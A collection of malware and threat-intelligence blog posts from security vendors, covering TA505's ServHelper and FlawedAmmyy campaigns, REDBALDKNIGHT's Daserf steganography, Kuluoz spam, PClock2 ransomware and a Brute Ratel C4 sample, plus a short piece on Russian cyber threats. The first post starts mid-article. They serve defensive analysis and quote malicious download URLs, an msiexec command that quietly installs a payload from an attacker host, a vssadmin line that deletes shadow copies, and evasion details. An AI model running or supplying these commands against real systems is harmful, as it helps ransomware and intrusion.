]196/1.dat that automatically decrypts and executes the malware.
This was also previously documented by an ESET security researcher.
On the samples that used a URL in the email content, we also noticed that the type of document file that it downloaded depended on the URL that the user opened.
Opening the documents will enable the macros and download the same FlawedAmmyy downloader as the .ISO file iteration from hxxp://92[.]38[.]135[.
]67 or hxxp://27[.]102[.]70[.
]196, with filenames k1 or k2.
In a campaign that targeted Romanian banks, emails used the subject “Fw: copie COC L5H3” and came with an .ISO image attachment.
Figure 12.
Infection chains for ServHelper installation with .NET downloader
Further analysis revealed a .NET downloader embedded in the image, along with routines that were almost similar to those used in the campaign observed targeting Turkish banks.
The .NET downloads jm1 — an .MSI installer — that installs another NSIS installer, leading to a ServHelper infection in the system.
Figure 13.
The decompiled .NET downloader
In another routine, an Excel file attachment downloads the NSIS installer once the user enables the malicious macros from hxxp://109[.]234[.]37[.
]15:80/j1 or hxxp://169[.]239[.]128[.]170/j1.
Both URLs contain the same binaries as the ones that the jm1 file installs.
More typical TA505 campaigns, with old and new targets
The group's more typical payload and routine involves the use of ServHelper and FlawedAmmy RAT and attaching a document embedded with malicious commands and strings.
One variant targets Serbian banks with subjects pertaining to “payments” or “invoices” applicable in several European languages.
Enabling the macros of the Excel file downloads a file created using NSIS installer with ServHelper from 79[.]141[.]168[.
]105 or 195[.]123[.]213[.]126.
We found another routine from a campaign targeting government agencies in Saudi Arabia, Oman, and Qatar with another type of .XLS or .DOC attachment.
The emails used in these campaigns used subjects pertaining to finance or urgent concerns on insurance policies.
A similar campaign targeting Turkish educational and government institutions used email subjects pertaining to invoice information or personnel payroll, and Visual Basic for Applications (VBA) .XLS or VBA .DOC macros.
Similar to the routine variant in Figure 6, the Excel VBA macros retrieve the FlawedAmmyy downloader from hxxp://195[.]123[.]245[.
]185/r1 or hxxp://185[.]225[.]17[.
]5/r1, in then decrypts and executes FlawedAmmyy RAT from hxxp://185[.]225[.]17[.
]5/2.dat or hxxp://195[.]123[.]245[.]185/1.dat.
Meanwhile, the .DOC VBA macros retrieves the MSI files from hxxp://195.123.245.185/km or hxxp://185.225.17.5/km, which executes the NSIS installer for ServHelper installation.
Similar to one of the routines depicted in Figure 9, the group also reused one of the email samples but changed the targets to India and the United States, and added content referring to invoices.
The email may contain different documents, but the URLs for downloading ServHelper as the payload remain the same.
Figure 14.
One of the more typical techniques employed by TA505.
.DLL downloaders that deliver FlawedAmmyy and newly styled macros
In the first week of August, we noticed the group using a different approach and style to fetch the downloaders via macros.
While FlawedAmmyy RAT was still the final payload, the downloader was different — this operation used a .DLL variant.
This particular campaign targeted Canada with subjects asking for confirmation of numbers from the marketing department.
Figure 15.
Infection chain with .DLL FlawedAmmyy downloader
The attached document asks the user to enable the macros, which creates an Internet Explorer object instance.
This loads a text file from a hardcoded website, wherein the content of the document file is parsed through and the inner text of the document is loaded.
Our analysis showed that this is likely done so the malicious file can bypass some firewall rules, since the communication uses Internet Explorer.
Figure 16.
Sample document with malicious macros.
Figure 17.
Text file using Internet Explorer for communication to bypass firewall rules.
The downloaded file is a text file with a single number on each line.
The macros process the downloaded payload with each number encrypted in XOR with a constant hardcoded value of 106.
The result is an executable file written to the disc and executed.
Figure 18.
Executable file written to disk and executed
The executed .DLL is packed using two layers: a custom packer for the first stage and UPX (Ultimate Packer for Executables) for the second stage.
The unpacked payload in memory is also a .DLL — it's the first time we've seen a FlawedAmmyy downloader as a .DLL.
As we further analyzed the main behavior by downloading the encrypted FlawedAmmyy RAT and decrypted it with RC4, we found that it was similar to the previous campaigns, but with a few updates.
The first update is the use of the socket API to send an HTTP request instead of wininet or winhttp API to download an encrypted FlawedAmmyy, building an HTTP header by itself.
This could likely be an effort to bypass API hooking for HTTP.
Figure 19.
Send HTTP request using socket API
The second change: The decrypted FlawedAmmyy RAT is now saved as dllhots.exe in C:\temp\ (it used to be saved as wsus.exe).
Lastly, this new FlawedAmmyy downloader overwrites some PE header members with random values.
Specifically, it overwrites the checksum, the address of relocation table in DOS header, and the checksum in optional headers.
Figure 20.
Original PE header members (left) vs. overwritten header members (right)
The decrypted FlawedAmmyy RAT slightly different from the one that TA505 reused over its past campaigns.
While the previous strings had the modified AmmyyAdmin binary since the source code was leaked, TA505 changed the strings in this sample to PopssAdmin.
This may bypass detection rules if the systems’ lists were not updated.
Figure 21.
Significant changes in the binary
In another sample targeting South Korea, the difference with the previous case is the XOR encryption hardcoded at 180.
We also found that the file delivered is an .MSI executable containing the same .DLL FlawedAmmyy downloader.
From the document embedded with the malicious macros, the macro code calls “Run” on the WScript.
Shell object.
Most of the strings forming the final command are stored in the “Tag” properties of a form embedded in the document.
Figure 22.
Sample document in Korean asking the user to enable the macros.
Figure 23.
Final command strings in document’s “tag” properties.
The final command executes the download and installation of the .MSI file into C:\Windows\System32\msiexec.exe" back=13 error=continue /i http://92[.]38[.]135[.
]99/99.msi /q OnLoad="c:\windows\notepad.exe
Figure 24.
.MSI file installed in the system
From the parameters above, “/i” means install, “/q” means quiet.
The other three parameters do not appear to be used at all, as reported in the install log (by adding /L*V "C:\example.log" parameter).
The .MSI file is a downloader with the .DLL FlawedAmmyy downloader inside; it retrieves the final payload, then decrypts and executes FlawedAmmyy RAT.
Figure 25.
Unused parameters from log
Around the second week of August, we found a campaign targeting banks in the Czech Republic with subjects pertaining to credit and NAV transfer.
Analysis of the samples revealed that the document and macro style was similar to the Korean campaign that used.MSI files, but this campaign downloads from hxxp://185[.]17[.]122[.
]220/555.msi or hxxp://159[.]69[.]54[.]146/555.msi.
This .MSI file delivers the NSIS-packed ServHelper, and the binary shares the same C&C server as the campaign targeting Saudi Arabia, Oman, Qatar, and Turkey.
Suspicious activity using ServHelper
A campaign targeting China spoofed FedEx-themed emails with subjects pertaining to delivery problems, failures, or notifications.
Instead of attachments, it had malicious URLs in the message content that lead to the download of a malicious document named fedex.doc from hxxp://www.fedexdocs[.
]top/fedex.doc or hxxp://www.fedexdocs[.]icu/fedex.doc.
The VBA macro in the document downloads an NSIS-packed executable from hxxps://senddocs[.
]icu/stelar.exe, which installs ServHelper.
However, while initial analysis of the macro it used made us believe that this was from TA505, the macros’ obfuscation and style turned out to be more similar to the ones described in this post, based on the code page, senders, and fast flux.
This particular campaign did not match TA505’s technique.
Thus we suspect that other cybercriminals purchased or borrowed ServHelper from the underground market for this campaign.
Conclusion
A number of ServHelper samples can be found in the wild, but some do not appear to be attributed to TA505.
One such sample (reported by a researcher that used the Twitter handle James_inthe_box), delivered Remcos, seemingly with a TA505 pattern.
However, we think it may be more likely that ServHelper is sold to other malicious actors and tested on possible targets.
In the long run, as more changes are added to the malware, this can make attribution to specific groups more difficult.
The changes and adjustments that TA505 made from the original ServHelper and FlawedAmmyy routines may indicate that the group is experimenting and testing to determine which forms of obfuscation can bypass detections, resulting in more financial returns.
It's also possible that the changes in target countries and industries are driven by the group’s customers; targeting new victims and even returning to previously targeted countries and organizations with new techniques.
This also gives TA505 more data on which types of files can be further used for detection evasion, or even to deter attribution.
Given the frequency of changes in routines and deployment from our previous articles, we can expect TA505 to come up with more methods for payload delivery, malware types, and combinations of previously used and new routines.
Further, as the malware is still being upgraded, more iterations can be expected in the future.
If not removed completely, malicious actors can still take control of computers, peripherals, sensitive information, and proprietary data.
As they continue to target businesses in different sectors, we can expect TA505 to keep using phishing and social engineering techniques to compromise systems.
Enterprises are advised to strengthen their online systems, especially email gateways.
Enforce the principle of least privilege, as well as a patch management and system update procedure to make sure the entire network is protected.
Install redundant and multilayered protection systems from the gateway to the endpoint that can detect and block malicious URLS, emails, and attachments, as well as proactively monitor other possible attack vectors.
Enterprises can consider Trend Micro™ endpoint solutions such as Trend Micro Smart Protection Suites and Worry-Free™ Business Security.
Both solutions can protect users and businesses from threats by detecting malicious files and spammed messages as well as blocking all related malicious URLs.
Trend Micro Deep Discovery™ has an email inspection layer that can protect enterprises by detecting malicious attachments and URLs.
Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.
It protects Microsoft Exchange, Microsoft Office 365, Google Apps, and other hosted and on-premises email solutions.
The indicators of compromise (IoCs) related to these campaigns we observed are in this appendix.
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On March 8, President Biden signed an Executive Order to ban the sale of Russian oil, liquefied natural gas and coal to the United States.
With bipartisan support, the decision was made to deprive the Putin regime of the economic resources needed to wage war in Ukraine.
However, marking as it does an escalation in punitive actions directed at the Russian state, it may also put US companies more directly in the firing line of cyber-attacks from the east.
Leaders of the U.S. intelligence community expressed this same concern in their annual appearance on capitol hill on Tuesday.
The Director of National Intelligence Avril Haines said “Nevertheless, our analysts assess that Putin is unlikely to be deterred by such setbacks and instead may escalate, essentially doubling down.”
The good news is that best practice cybersecurity advice does not need to change.
If the security and intelligence community continues to come together to share what information we have on offensive Russian cyber activity, and customers have the right detection and response tools in place, organizations can maintain a strong defensive posture.
Waiting for the tipping point
To date, the scale of Russian state-sponsored and proxy cyber-attacks has not been as expected.
Yes, we’ve seen continuous DDoS attacks, a campaign of web defacements and various iterations of wiper malware.
But these efforts have been mainly targeted at Ukrainian organizations.
It is possible that Russia has yet to fully engage its offensive capability, or that Ukrainian counterattacks and disruptions have hit home.
Reports suggest tens of thousands of cybersecurity professionals there have enlisted as volunteers to help the country’s efforts.
Hacking collective Anonymous has also claimed responsibility for multiple hacktivist attacks in Russia.
As kinetic attacks in the region escalate, it’s likely that cyber-operations will do the same, although these should be confined to Ukraine.
However, following the Presidential EO this week, we could well see Russian APT groups or their proxies expand their targeting of U.S. critical infrastructure.
Oil and gas, banking and defense sectors are most likely to top of the list of targets.
What we can expect
If this kind of escalation were to take place, it may begin through deployment of known destructive malware like IsaacWiper, HermeticWiper and WhisperKill onto already compromised targets or systems known to be vulnerable.
Follow-on phases would see the use of DDoS or other volumetric, availability-based attacks against systems that couldn’t be compromised in the first round of attacks.
Zero-day vulnerabilities held in reserve could be exploited during this phase.
Alongside the threat from Russian state hackers, Putin may call upon the “patriotic” reserves of the numerous cybercrime groups operating from within the country.
Already the Conti and Lockbit ransomware collectives have stated their support.
However, Conti was forced to equivocate its language after a Ukrainian researcher doxxed the group with a devastating leak of source code and other internal information.
Although they may not have a choice if called upon to support the Kremlin, this incident will certainly give many Russian ransomware actors a reason to think twice about joining the war effort.
Fighting back
If the worst-case scenario does unfold and US organizations are attacked en masse, normal rules of best practice cybersecurity apply.
First comes continuous risk-based patching, multi-factor authentication, network monitoring, least privilege access, data encryption, phishing awareness training, and other cyber-hygiene steps.
But on top of that, organizations must have the detection and response tooling, ideally XDR, to correlate, prioritize and act on high fidelity alerts with speed and precision.
The security community, including government agencies, should quicken their pace in sharing actionable intelligence, in order to improve public and private organizations’ threat hunting and detection efforts.
Security operations (SecOPs) leaders may also want to:
Expand training and awareness for their users and partners;
Collect telemetry from sources not traditionally aligned with cyber such as supply chain vendor management.
Increase attack surface enumeration across IoT, Industrial IoT, mobile and cloud;
Expand or deploy a zero trust architecture framework and;
Fortify your backups.
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Additional analysis and insights by Higashi Yuka and Chizuru Toyama
REDBALDKNIGHT, also known as BRONZE BUTLER and Tick, is a cyberespionage group known to target Japanese organizations such as government agencies (including defense) as well as those in biotechnology, electronics manufacturing, and industrial chemistry.
Their campaigns employ the Daserf backdoor (detected by Trend Micro as BKDR_DASERF, otherwise known as Muirim and Nioupale) that has four main capabilities: execute shell commands, download and upload data, take screenshots, and log keystrokes.
Our recent telemetry, however, indicates that variants of Daserf were not only used to spy on and steal from Japanese and South Korean targets, but also against Russian, Singaporean, and Chinese enterprises.
We also found various versions of Daserf that employ different techniques and use steganography—embedding codes in unexpected mediums or locations (i.e., images)—to conceal themselves better.
Like many cyberespionage campaigns, REDBALDKNIGHT’s attacks are intermittent but drawn-out.
In fact, REDBALDKNIGHT has been zeroing in on Japanese organizations as early as 2008—at least based on the file properties of the decoy documents they’ve been sending to their targets.
The specificity of their targets stems from the social engineering tactics used.
The decoy documents they use in their attack chain are written in fluent Japanese, and particularly, created via the Japanese word processor Ichitaro.
One of the decoy documents, for instance, was about the “plan of disaster prevention in heisei 20” (Heisei is the current/modern era in Japan).
Figure 1: File properties of one of the decoy documents that REDBALDKNIGHT sends to Japanese targets
Figures 2: Sample of decoy documents used by REDBALDKNIGHT, employing socially engineered titles in their spear phishing emails such as “disaster prevention”
Attack ChainREDBALDKNIGHT’s attacks typically use spear phishing emails as an entry point.
Their attachments exploit a vulnerability in Ichitaro, as shown above.
These are decoy documents, often used by cyberespionage groups as a distraction while they execute their malware behind the scenes using lures such as “CPR” and “disaster prevention.”
Daserf will be installed and launched on the affected machine once the victim opens the document.
Daserf wasn’t well-known until security researchers publicly disclosed it last year, and whose beginnings they’ve traced as far back as 2011.
Based on the hardcoded version number they divulged (Version:1.15.11.26TB Mini), we were able to source other versions of the backdoor (listed in the appendix).
Fine-tuning DaserfOur analyses revealed Daserf regularly undergo technical improvements to keep itself under the radar against traditional anti-virus (AV) detection.
For instance, Daserf versions 1.50Z, 1.50F, 1.50D, 1.50C, 1.50A, 1.40D, and 1.40C use encrypted Windows application programming interfaces (APIs).
Version v1.40 Mini uses the MPRESS packer, which provides some degree of protection against AV detection and reverse engineering.
Daserf 1.72 and later versions use the alternative base64+RC4 to encrypt the feedback data, while others use different encryption such as 1.50Z, which uses the Ceasar cipher (which substitutes letters in plaintext with another that corresponds to a number of letters, either upwards or downwards).
More notably, REDBALDKNIGHT integrated steganography to conduct second-stage, command-and-control (C&C) communication and retrieve a second-stage backdoor.
This technique has been observed in Daserf v1.72 Mini and later versions.
Daserf’s use of steganography not only enables the backdoor to bypass firewalls (i.e., web application firewalls); the technique also allows the attackers to change second-stage C&C communication or backdoor faster and more conveniently.
How REDBALDKNIGHT Employs SteganographyDaserf’s infection chain accordingly evolved, as shown below.
It has several methods for infecting its targets of interest: spear phishing emails, watering hole attacks, and exploiting a remote code execution vulnerability (CVE-2016-7836, patched last March 2017) in SKYSEA Client View, an IT asset management software widely used in Japan.
Figure 3: Daserf’s latest execution and infection flow
A downloader will be installed on ther victim’s machine and retrieve Daserf from a compromised site.
Daserf will then connect to another compromised site and download an image file (i.e., .JPG, .GIF).
The image is embedded in either the encrypted backdoor configurations or hacking tool.
After their decryption, Daserf will connect to its C&C and await further commands.
Daserf 1.72 and later versions incorporate steganographic techniques.
REDBALDKNIGHT’s use of steganography isn’t limited to Daserf.
We also found two of their toolkits employing the same technique—xxmm2_builder, and xxmm2_steganography.
Based on their pdb strings, they’re both components of another REDBALDKNIGHT-related threat, XXMM (TROJ_KVNDM), a downloader Trojan that can also act as a first-stage backdoor with its capability to open a shell.
While xxmm2_builder allows REDBALDKNIGHT to customize the settings of XXMM, xxmm2_ steganography is used to hide malicious code within an image file.
REDBALDKNIGHT’s tool can create, embed, and hide executables or configuration files within the image file with its tag and encrypted strings via steganography.
An encrypted string can be an executable file or a URL.
A threat actor will use/upload an existing image that the builder then injects with steganographic code.
Additionally, we also found that the steganography algorithm (alternative base64 + RC4) between XXMM and Daserf were the same.
Figure 4: Code snippets showing Daserf’s decode function, which is the same as XXMM’s
Figure 5: Steganography toolkit used by REDBALDKNIGHT for XXMM
Figure 6: Snapshots of Daserf’s steganographic code generated by their toolkit
MitigationSteganography is a particularly useful technique in purposeful cyberattacks: the longer their malicious activities stay undetected, the more they can steal and exfiltrate data.
And indeed, the routine is increasingly gaining cybercriminal traction, in varying degrees of proficiency—from exploit kits, malvertising campaigns, banking Trojans, and C&C communication to even ransomware.
In the case of REDBALDKNIGHT’s campaigns, the use of steganography is further compounded by their use of malware that can better evade detection and analysis.
REDBALDKNIGHT’s continuous campaigns—along with their diversity and scope—highlight the importance of defense in depth.
Organizations can mitigate these threats by enforcing the principle of least privilege to reduce their opportunities for lateral movement significantly.
Network segmentation and data categorization help in this regard.
Mechanisms like access control and blacklisting as well as intrusion detection and prevention systems help further secure the network while whitelisting (e.g., application control) and behavior monitoring help detect and block anomalous activities from suspicious or unknown files.
Safeguard the email gateway to defend against REDBALDKNIGHT’s spear phishing methods.
Disable unnecessary and outdated components or plug-ins, and ensure that the system administration tools are used securely, as they can be misused by threat actors.
And more crucially, keep the infrastructure and its applications up-to-date to reduce attack surface—from the gateways and networks to endpoints, and servers.
Trend Micro SolutionsTrend Micro™ Deep Discovery™ provides detection, in-depth analysis, and proactive response to today’s stealthy malware and targeted attacks in real-time.
It provides a comprehensive defense tailored to protect organizations against targeted attacks and advanced threats through specialized engines, custom sandboxing, and seamless correlation across the entire attack lifecycle, allowing it to detect threats like REDBALDKNIGHT’s attacks even without any engine or pattern update.
Trend Micro™ Deep Security™ and Vulnerability Protection provide virtual patching that protects endpoints from threats that abuses unpatched vulnerabilities.
OfficeScan’s Vulnerability Protection shield endpoints from identified and unknown vulnerability exploits even before patches are deployed.
Trend Micro’s suite of security solutions is powered by XGen™ security, which features high-fidelity machine learning to secure the gateway and endpoint data and applications.
XGen™ protects against today’s purpose-built threats that bypass traditional controls, exploit known, unknown, or undisclosed vulnerabilities, and either steal or encrypt personally-identifiable data.
A list of the Indicators of Compromise (hashes, C&Cs) related to this research is in this appendix.
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At 06:47 PST on May 20 Palo Alto Networks WildFire detected the start of the latest Kuluoz spam campaign.
The total number of e-mails detected quickly rose to over 30,000 per hour around noon PST and had not begun to slow down as of 1:30PM PST.
Kuluoz is a descendant of the Asprox malware and spreads by sending copies of itself as an e-mail attachment.
As the malware infects more systems, the systems begin sending more e-mails which leads to more infections.
Kuluoz makes money for its owner by installing other malware, such as crimeware or fake antivirus programs.
Kuluoz e-mails often trick the reader into thinking they are delivery notifications (such as UPS or Fedex), or notices from airlines or payment processors.
In this case the e-mails claim to contain a document about a court case.
Subject: Hearing of your case in Court
From: Notice of Appearance
Pretrial Notice,
Please, download the copy of the court notice attached herewith to read the details.
Note: The case may be heard by the judge in your absence if you do not come.
Truly yours,
Clerk to the Court.
Olivia Smith
Each e-mail carries one of the following attachments:
These attachments are different versions of the malware that has been packed to evade antivirus engines.
Twelve of the 53 scanners on virustotal.com now detect the first variant of the malware, but only three detect the latest version.
To determine where the highest number of infected nodes are, we mapped the sending IP address for each of the attach e-mails to their rough geographic location.
While there are infected systems around the world, the largest concentration is in North America, particularly the United Stats and Canada.
Geographic Distribution of Koluoz Spam Nodes in North America
Thus far we’ve detected the following command and control servers in use.
The network traffic generated by each Trojan uses the HTTP protocol, and despite its use of port 443, is not encrypted with SSL.
As with most fast-spreading malware, antivirus engines will typically begin detecting the files a day or two after the spread has begun.
While we haven’t seen any indication that the spam volume has begun to slow down, we do expect the campaign to wind down in the next 24 hours, but a new campaign will probably be close behind.
WildFire users can rest assured that they’ll be protected from whatever Kuluoz has in-store next.
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The latest episode of the Don’t Panic cybersecurity podcast is now live.
In this latest episode, Ryan goes back to the topic he talked about in his 2018 predictions piece “The Era of Software Supply-Chain Attacks Has Begun”: Software Supply Chain attacks.
As a reminder, “Don’t Panic,” is the official podcast of Unit 42, the Palo Alto Network threat intelligence team and features Palo Alto Networks CSO Rick Howard and Palo Alto Networks Senior Vice President, Threat Intelligence Ryan Olson.
You can find this episode and other Palo Alto Networks podcasts on iTunes, Google Play, or integrate the RSS feed into your favorite service.
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In recent years, ransomware families are often glamorized as being some of the most dangerous types of malware.
They’ve certainly caused a wealth of damage to end users with some of the more prominent malware families, such as CryptoLocker, CryptoWall, TorrentLocker, and TeslaCrypt infecting millions of users overall.
For readers that might be unfamiliar with ransomware, it’s a type of malware that is responsible for encrypting a user’s files with a key known only to the attackers.
Examples of files that might be encrypted include financial documents, home movies, photos, or business-related files.
In order to decrypt these files, the victim must provide a ransom, or payment, to the attacker, often in the form of a digital currency.
While ransomware is often thought to be bullet-proof, it is certainly not always the case.
In early 2015, Emnisoft identified a new family of malware named PClock.
At the time, the malware was riddled with issues, specifically in the way it encrypted files.
It used a simple XOR encryption routine with a static key, allowing victims to easily recover their files without paying a ransom.
In August, we started detecting updated copies of PClock, which has been improved upon by the malware author.
We set out to determine if this updated version of PClock holds up to some of the more prominent families.
For the sake of clarity, I will refer to this newer version of PClock as PClock2 going forward.
The following sample is used for analysis:
Figure 1.
PClock2 analysis sample
PClock2 is written in Visual Basic.
For a copy of this file’s IDA Pro database (idb), please refer here.
When initially executed, PClock2 performs a very simple anti-analysis check where it will sleep for a random amount of time and compare the time spent sleeping against a set value.
This check is essentially looking for sandbox systems where the sleep function accelerates analysis.
Figure 2.
Check by PClock2 for hooking of sleep function
A simple check is performed to determine if the malware is running with administrative privileges.
Once completed, the malware sends the result via an HTTP POST request to a remote server.
All data sent via HTTP POST requests is sent in the clear.
Figure 3.
HTTP POST request containing administrative privileges
The ‘P0’ is statically set by the malware in the above request.
The ‘1828’ represents the thread ID (TID) of the malware, while the ‘rnd’ GET variable is randomly generated.
Throughout the runtime of PClock2, it makes multiple HTTP POST requests to a remote server using the same characteristics, including the ‘PO[TID]’ and the current time.
Additionally, the user-agent used by the entire PClock family, including PClock2, is consistent across samples.
PClock2 proceeds to copy itself with the name “winjab.exe” in the following path.
While this particular sample is seen installing itself to the %ALLUSERSPROFILE% path, other samples have been witnessed using %APPDATA% instead.
PClock2 also enables persistence by setting the following registry key.
All instances of the entire PClock family have been found to use this particular registry key.
After installation is complete, the malware makes another HTTP POST containing the various file paths it used.
Figure 4.
HTTP POST request containing file paths of malware
After installation, PClock2 will also set the following registry key with a value of ‘INSTALL_OK’.
This particular registry key is used to hold the latest state of the malware.
Other messages that might be present in this key include the following.
The following registry keys are also used within the CLOCK sub-path by PClock2:
PClock2 proceeds to use the API from blockchain.info to generate a unique Bitcoin (BTC) wallet identifier, which is configured to automatically forward payments to a hardcoded wallet identifier of ‘1MRfkK134ErfbcadUSoSUCBahngCqoBKju’.
The following HTTPS request accomplishes this.
PClock2 will also make a request to the following blockchain.info address to determine the current value of BTC.
This information is stored in the ‘\BData\B’ registry key as previously stated.
The malware proceeds to generate a unique key that will be used in subsequent file encryption using the following data:
This data is concatenated to form a string similar to the following:
Figure 5.
Data collected to be used in formation of unique key
This data is then hashed using the SHA256 algorithm to generate a unique key.
This key is stored in the ‘\CData\C’ registry key as previously stated.
This key is also sent via a HTTP POST request.
Figure 6.
HTTP POST request containing unique SHA256 key
PClock2 scans the file system of the victim in order to identify files that are to be encrypted.
The following paths are ignored:
Additionally, for a list of targeted file types, please see the following link.
Once files are identified, PClock will begin encrypting them, one-by-one.
Unlike the original version of PClock, this variant has forgone the simple XOR encryption routine in place of using RC4.
The RC4 key is generated by concatenating the SHA256 value previously generated with the path to the file being encrypted.
250dd811187959220220574a185ccf669e06c0ee3926773a7cb94750c401812cC:\Documents and Settings\Administrator\Desktop\Form1.cs
It should be noted that PClock takes a very long time to encrypt these files.
On a test sandbox, the malware took upwards of 20 minutes to complete encryption, which is less than ideal for an attacker as it gives the victim time to notice the infection and stop it.
By comparison, the latest version of the CryptoWall malware family takes roughly 1-3 minutes to complete its encryption routine.
It’s also interesting to note that each time PClock2 scans a directory or encrypts a file, it makes an HTTP POST request to the C2 server.
Figure 7.
HTTP POST request indicating a folder is being scanned
This resulted in over 1,000 requests being made on a sandbox machine, which contained little data of interest.
After it finished the encryption routine, PClock2 generates a VBScript file in the following directory:
This script file contains the following commands, which will delete shadow copies on the Windows operating system.
Set UAC = CreateObject("Shell.
Application")
UAC.ShellExecute "vssadmin", "Delete Shadows /All /Quiet", "", "runas", 1
On Windows XP, the following dialog box appears to the victim when this script runs, making it fairly apparent that something suspicious is occurring:
Figure 8.
Dialog box that appears to victim when VBS attempts to run
After running the clean up script the malware overwrites the ‘\CData\C’ registry key with a value of zero, which removes the unique SHA256 key.
Finally, the malware changes the victim’s wallpaper and generates a GUI instructing the victim how they can provide payment and retrieve their files.
This dialogue mimics the more-capable “CryptoLocker” malware family and provides instructions in both English and Spanish.
Figure 9.
Ransom demand
I originally wished to determine if the new version of PClock, PClock 2, included enough improvements to compete with some of the larger ransomware malware families, such as CryptoWall, TeslaCrypt, or TorrentLocker.
In truth, this version has made a number of improvements, such as adding more file types to target, ignoring certain directories, and using a better encryption routine.
However, a number of strong issues still plague this malware family, such as the following:
While this version is an improvement, it still lacks many of the features and stealth that are currently present in the larger ransomware families.
While ransomware is a large problem for users, it’s important to realize that not all malware families are created equal.
Like most things in life, malware comes in many shapes and forms, from the more elegant and robust solutions, to those that come up lacking.
All PClock malware family samples are properly classified as malicious by WildFire.
AutoFocus users can find more information on samples and indicators related to this attack by viewing the PClock tag.
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Unit 42 continuously hunts for new and unique malware samples that match known advanced persistent threat (APT) patterns and tactics.
On May 19, one such sample was uploaded to VirusTotal, where it received a benign verdict from all 56 vendors that evaluated it.
Beyond the obvious detection concerns, we believe this sample is also significant in terms of its malicious payload, command and control (C2), and packaging.
The sample contained a malicious payload associated with Brute Ratel C4 (BRc4), the newest red-teaming and adversarial attack simulation tool to hit the market.
While this capability has managed to stay out of the spotlight and remains less commonly known than its Cobalt Strike brethren, it is no less sophisticated.
Instead, this tool is uniquely dangerous in that it was specifically designed to avoid detection by endpoint detection and response (EDR) and antivirus (AV) capabilities.
Its effectiveness at doing so can clearly be witnessed by the aforementioned lack of detection across vendors on VirusTotal.
In terms of C2, we found that the sample called home to an Amazon Web Services (AWS) IP address located in the United States over port 443.
Further, the X.509 certificate on the listening port was configured to impersonate Microsoft with an organization name of “Microsoft” and organization unit of “Security.” Additionally, pivoting on the certificate and other artifacts, we identified a total of 41 malicious IP addresses, nine BRc4 samples, and an additional three organizations across North and South America who have been impacted by this tool so far.
This unique sample was packaged in a manner consistent with known APT29 techniques and their recent campaigns, which leveraged well-known cloud storage and online collaboration applications.
Specifically, this sample was packaged as a self-contained ISO.
Included in the ISO was a Windows shortcut (LNK) file, a malicious payload DLL and a legitimate copy of Microsoft OneDrive Updater.
Attempts to execute the benign application from the ISO-mounted folder resulted in the loading of the malicious payload as a dependency through a technique known as DLL search order hijacking.
However, while packaging techniques alone are not enough to definitively attribute this sample to APT29, these techniques demonstrate that users of the tool are now applying nation-state tradecraft to deploy BRc4.
Overall, we believe this research is significant in that it identifies not only a new red team capability that is largely undetectable by most cybersecurity vendors, but more importantly, a capability with a growing user base that we assess is now leveraging nation-state deployment techniques.
This blog provides an overview of BRc4, a detailed analysis of the malicious sample, a comparison between the packaging of this sample and a recent APT29 sample, and a list of indicators of compromise (IoCs) that can be used to hunt for this activity.
We encourage all security vendors to create protections to detect activity from this tool and all organizations to be on alert for activity from this tool.
Palo Alto Networks customers receive protections from the threats described in this blog through Threat Prevention, Cortex XDR and WildFire malware analysis.
Full visualization of the techniques observed, relevant courses of action and indicators of compromise (IoCs) related to this report can be found in the Unit 42 ATOM viewer.
Brute Ratel C4 Overview
From Click to Brute
Packaging of Roshan_CV.iso
Modification of Version.dll
x64 Shellcode – Decrypted OneDrive.
Update
Target Network Infrastructure
Identifying OneDrive.
Update
Badger_x64.exe Employment
Other Samples and Infrastructure
Protections and Mitigations
Conclusion
Indicators of Compromise
Additional Resources
Brute Ratel C4 made its initial debut as a penetration testing tool in December 2020.
At the time, its development was a part-time effort by a security engineer named Chetan Nayak (aka Paranoid Ninja) living in India.
According to his website (Dark Vortex), Nayak amassed several years of experience working in senior red team roles across western cybersecurity vendors.
Over the past 2.5 years, Nayak introduced incremental improvements to the pentest tool in terms of features, capabilities, support and training.
In January 2022, Nayak left his day job in order to pursue full-time development and training workshops.
That same month, he released Brute Ratel v0.9.0 (Checkmate), which is described as the “biggest release for Brute Ratel till date.”
However, of greater concern, the release description also specifically noted that “this release was built after reverse engineering several top tier EDR and Antivirus DLLs.”
Our analysis highlights the ongoing and relevant debate within the cybersecurity industry surrounding the ethics relating to the development and use of penetration testing tools that can be exploited for offensive purposes.
BRc4 currently advertises itself as “A Customized Command and Control Center for Red Team and Adversary Simulation.” On May 16, Nayak announced that the tool had gained 480 users across 350 customers.
The latest version, Brute Ratel v1.0 (Sicilian Defense) was released a day later on May 17, and is currently offered for sale at a price of $2,500 per user and $2,250 per renewal.
With this price point and customer base, BRc4 is positioned to take in more than $1 million dollars in sales over the next year.
Figure 3.
BRc4 licensing and cost.
In terms of features, BRc4 advertises the following capabilities:
The file in VirusTotal named Roshan_CV.iso (SHA256: 1FC7B0E1054D54CE8F1DE0CC95976081C7A85C7926C03172A3DDAA672690042C) appears to be a curriculum vitae (similar to a resume) of an individual named Roshan.
It was uploaded to VirusTotal on May 19, 2022, from Sri Lanka.
The ISO file extension refers to an optical disc image file, derived from the International Organization for Standardization’s ISO 9960 file system, which is typically used to back up files for CD/DVD.
The ISO file is not malicious and requires a user to double-click, which mounts the ISO as a Windows drive.
Finally, the archived files of the ISO are displayed to the user.
In this case, when the ISO is double-clicked, a user is presented with the following:
As depicted in Figure 5, the user would see a file named Roshan-Bandara_CV_Dialog, which has a fake icon image of Microsoft Word, purporting to be an individual's CV, and written in Microsoft Word.
From the window dialog box it can be ascertained that the ISO was assembled on May 17, 2022, which coincidentally is the same day the new BRc4 was released.
If the user were to double-click on the file, it would then install Brute Ratel C4 on the user's machine.
By default, on Windows operating systems, hidden files are not displayed to the user.
In Figure 6, there are four hidden files concealed from view.
If the display of hidden files is enabled, the user sees the following:
The lure file, the one visible to the user, is a Windows shortcut file (LNK) with the following properties:
Microsoft shortcut files, those with a .lnk file extension, contain enriched metadata that can be used to provide artifacts about the file.
Some key artifacts of this file are:
When Roshan-Bandara_CV_Dialog is double-clicked, the following actions occur:
Figure 8 below gives an overview of how this process would look.
The composition of the ISO file, Roshan_CV.ISO, closely resembles that of other nation-state APT tradecraft.
The following table shows a side-by-side comparison of Roshan_CV.ISO and that of a previously identified APT29 sample (Decret.ISO).
The following images show how Roshan_CV.ISO and Decret.ISO would look to a user when double-clicked.
Figure 9 is a screenshot of the default Windows File Explorer; “show hidden files” is not checked.
